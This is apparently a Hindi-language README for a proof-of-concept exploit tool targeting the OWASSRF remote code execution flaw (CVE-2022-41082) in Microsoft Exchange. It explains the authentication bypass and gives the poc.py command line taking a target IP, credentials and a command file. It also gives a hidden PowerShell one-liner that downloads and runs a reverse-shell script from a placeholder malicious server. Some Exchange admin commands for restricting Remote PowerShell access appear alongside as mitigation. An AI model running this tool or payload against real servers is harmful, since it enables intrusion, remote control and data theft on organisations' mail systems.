CVE-2022-41082

इस रिपॉजिटरी में Microsoft Exchange सर्वरों में OWASSRF भेद्यता (CVE-2022-41082) का शोषण करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) टूल शामिल है। यह शोषण हमलावरों को सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देता है, जिससे संभावित रूप से सिस्टम से समझौता हो सकता है।

अवलोकन

यह टूल प्रमाणीकरण को बायपास करने और Exchange सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए OWASSRF भेद्यता का लाभ उठाता है। इस भेद्यता का शोषण करके, एक हमलावर एक प्रमाणित उपयोगकर्ता की तरह कमांड निष्पादित कर सकता है, जिसके गंभीर सुरक्षा परिणाम होते हैं।

यह कैसे काम करता है

1. प्रमाणीकरण बायपास: टूल तैयार अनुरोधों का उपयोग करके प्रमाणीकरण तंत्र को दरकिनार करते हुए लक्ष्य Exchange सर्वर से जुड़ता है।
2. रिमोट कोड निष्पादन: सफलतापूर्वक लॉग इन करने के बाद, टूल एक सत्र खोलता है जो Exchange सर्वर पर कमांड निष्पादन की अनुमति देता है।
3. कमांड निष्पादित करना: उपयोगकर्ता सर्वर पर निष्पादित किए जाने वाले कमांड निर्दिष्ट कर सकते हैं, जो फ़ाइल हेरफेर, नेटवर्क ऑपरेशन, या रिवर्स शेल स्थापित करने सहित विभिन्न कार्यों की अनुमति देता है।

महत्वपूर्ण नोट

इस टूल का उपयोग करते समय, कृपया सुनिश्चित करें कि आप Exchange Management Shell का वही सत्र खुला रखें। दूसरों के लिए इसे अक्षम करने के बाद कम से कम एक उपयोगकर्ता के लिए Remote PowerShell एक्सेस सक्षम करना महत्वपूर्ण है। अन्यथा, आप सभी Exchange सर्वरों पर Management Shell एक्सेस खो सकते हैं।

PowerShell एक्सेस प्रबंधित करने के लिए कमांड

यहाँ कुछ उपयोगी PowerShell कमांड दिए गए हैं जिनसे देखा जा सकता है कि किसके पास एक्सेस है और इसे प्रबंधित किया जा सकता है:

PowerShell एक्सेस जाँचें

यह देखने के लिए कि किन उपयोगकर्ताओं के पास Remote PowerShell एक्सेस है और किनके पास नहीं है, चलाएँ:

Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'

सभी उपयोगकर्ताओं के लिए PowerShell एक्सेस अक्षम करें

चेतावनी: जब तक आप कम से कम एक उपयोगकर्ता को वापस नहीं जोड़ते, तब तक Exchange Management Shell विंडो को बंद न करने का ध्यान रखें।

आप निम्न कमांड का उपयोग करके सभी उपयोगकर्ताओं के लिए PowerShell एक्सेस अक्षम कर सकते हैं:

$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}

या एक ही कमांड से समान परिणाम प्राप्त करने के लिए:

Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false

किसी विशिष्ट उपयोगकर्ता के लिए एक्सेस पुनः सक्षम करना

किसी विशिष्ट उपयोगकर्ता को Remote PowerShell एक्सेस प्रदान करने के लिए, चलाएँ:

Set-User "guest" -RemotePowerShellEnabled $true

PowerShell एक्सेस खोने का समाधान

यदि आप सभी उपयोगकर्ताओं के लिए PowerShell एक्सेस खो देते हैं, तो आप व्यवस्थापक अधिकारों वाला एक नया मेलबॉक्स उपयोगकर्ता बना सकते हैं। यह नया उपयोगकर्ता लागू नीतियों को बायपास करेगा, जिससे आप फिर से Exchange Management Shell का उपयोग कर सकेंगे।

PoC टूल का उपयोग करना

आवश्यकताएँ

• Python 3.x
• आवश्यक लाइब्रेरी (यदि आवश्यक हो तो pip के माध्यम से स्थापित करें)

टूल चलाना

PoC टूल को निष्पादित करने के लिए, निम्न कमांड चलाएँ:

python3 poc.py -H <लक्ष्य_IP> -u <उपयोगकर्ता_नाम> -p <पासवर्ड> -c <कमांड_फ़ाइल>

<लक्ष्य_IP>, <उपयोगकर्ता_नाम>, <पासवर्ड>, और <कमांड_फ़ाइल> को अपने विशिष्ट मानों से बदलें।

रिवर्स शेल के लिए उदाहरण कमांड

आप अपने cmd_file में रिवर्स शेल पेलोड शामिल करने के लिए कमांड को संशोधित कर सकते हैं। उदाहरण के लिए:

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"

यह कमांड आपके सर्वर से एक PowerShell स्क्रिप्ट डाउनलोड और निष्पादित करेगा, जिससे आपको एक रिवर्स शेल मिलेगा।

संदर्भ

OWASSRF भेद्यता और PoC कोड के बारे में अधिक जानकारी के लिए, निम्न लिंक पर जाएँ: OWASSRF CVE-2022-41082 PoC और https://www.youtube.com/watch?v=c2DZYP6jc7g